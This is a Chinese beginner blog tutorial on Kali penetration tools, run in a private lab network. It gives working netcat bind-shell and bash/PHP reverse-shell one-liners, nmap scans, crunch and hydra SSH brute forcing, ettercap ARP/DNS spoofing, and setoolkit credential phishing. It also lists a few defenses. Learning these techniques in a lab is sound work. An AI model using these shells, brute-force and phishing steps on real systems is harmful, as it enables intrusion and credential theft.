基础篇——Kali渗透工具初见

基础篇——Kali渗透工具初见

1. nc(netcat/ncat)

nc常用于监听端口:

nc -lvp 6666 //监听6666端口,列出详细信息

也可以用于连接端口:

nc 192.168.118.128 6666 //尝试连接192.168.118.128的6666端口

在渗透测试中,nc通常用于监听端口以获得正向shell或反弹shell。

(1) 正向shell

目标机(192.168.118.128)监听端口:

nc -lvp 6666 -e /bin/bash //-e filename  program to exec after connect

操作机(192.168.118.130)尝试连接:

nc 192.168.118.128 6666

由于正向shell需要穿透防火墙,因此反弹shell更为常见。

(2) 反弹shell——bash

目标机尝试连接,并将shell的标准输入、标准输出和标准错误重定向至操作机:

bash -i >& /dev/tcp/192.168.118.130/6666 0>&1

bash -i 0>/dev/tcp/192.168.118.130/6666 1>&0 2>&0 //易懂的写法

操作机监听端口:

nc -lvp 6666

(3) 反弹shell——php

和bash类似,但需要依赖php执行环境。

目标机:

php -r '$sock=fsockopen("192.168.118.130",6666);exec("/bin/bash -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("192.168.118.130",6666);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

操作机:

nc -lvp 6666

2. nmap

主机扫描:

nmap -T4 -sn 192.168.118.0/24

注意被扫描的主机需要关闭防火墙,虽然据说nmap -T4 -Pn 192.168.118.0/24可以扫描,但是实操过程中发现并不靠谱。

端口扫描:

nmap -T4 -sV 192.168.118.131

-sV用于扫描端口及其对应的服务与版本。

操作系统扫描:

nmap -T4 -O 192.168.118.131

-O用于扫描操作系统及其版本。

3. crunch

crunch用于生成密码字典,主要用来和hydra配合使用。

指定字符集:

crunch 4 4 abc > dict1.txt

使用crunch内置字符集:

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space > dict2.txt

指定输出格式:

crunch 8 8 -t admin%%% > dict3.txt //%表示数字 @表示小写字母 ,表示大写字母 ^表示特殊字符

4. hydra(xhydra)

hydra用于密码爆破。

hydra -l admin -P dict3.txt ssh://192.168.118.128:22

5. ettercap

ettercap主要用于arp欺骗,进而进行dns劫持。

(1) arp欺骗(arp poisoning)

arp协议用于将IP地址映射为MAC地址;arp欺骗就是通过向目标机发送arp应答,使其误以为操作机就是arp请求的对象,进而进行嗅探攻击、中间人攻击以及拒绝服务攻击。

(2) dns劫持(dns spoofing)

dns协议用于将域名映射为IP地址或将IP地址映射为域名;dns劫持属于中间人攻击的一种,用于将目标机想要访问的域名解析为指定的IP地址,进而进行网络钓鱼等攻击。

配置/etc/ettercap/etter.dns文件,使目标机对所有域名的查询请求都解析为操作机的IP地址。(需要配置反向查询,原因我也不清楚)

编写测试网页index.html,然后开启Apache2。

使用ettercap -G命令开启ettercap的图形化界面,Scan for hosts,Host list。

将网关加入Target1,将目标机加入Target2,ARP poisoning,DNS spoofing。

Start sniffing,然后在192.168.118.131(Windows)打开edge浏览器,清空缓存,使用http协议访问www.baidu.com(Apache2为http服务器的中间件,因此不能使用https协议访问),显示页面如下,dns劫持成功!

再在192.168.118.128(Linux)打开firefox浏览器,使用同样的方式访问www.baidu.com,显示请求失败,原因是firefox内置Https-Only安全策略,无法使用http协议访问网站。因此可以通过wget的方式拉取页面,进行验证。

(3) dns劫持防御策略

a. 开启防火墙,防止被ettercap使用Scan for hosts扫描。

b. 配置静态ARP,防止被ettercap使用ARP poisoning进行欺骗。

c. 使用内置Https-Only安全策略的浏览器,防止dns劫持。

6. setoolkit

setoolkit全称是social engineer toolkit,即社会工程学工具,是一款非常强大的工具。

下面使用其中的网站钓鱼模块以做演示。

先在网上随便找一个需要输入用户名和密码的登录页面,复制其url。(正规登录网页一般都有重定向的防御策略,尽量不要选择)

然后目标机访问192.168.118.130,输入用户名和密码;回到操作机,成功获取信息!

image-20240616222039506

posted @ 2024-06-16 22:23  yaoguyuan  阅读(2)  评论(0编辑  收藏  举报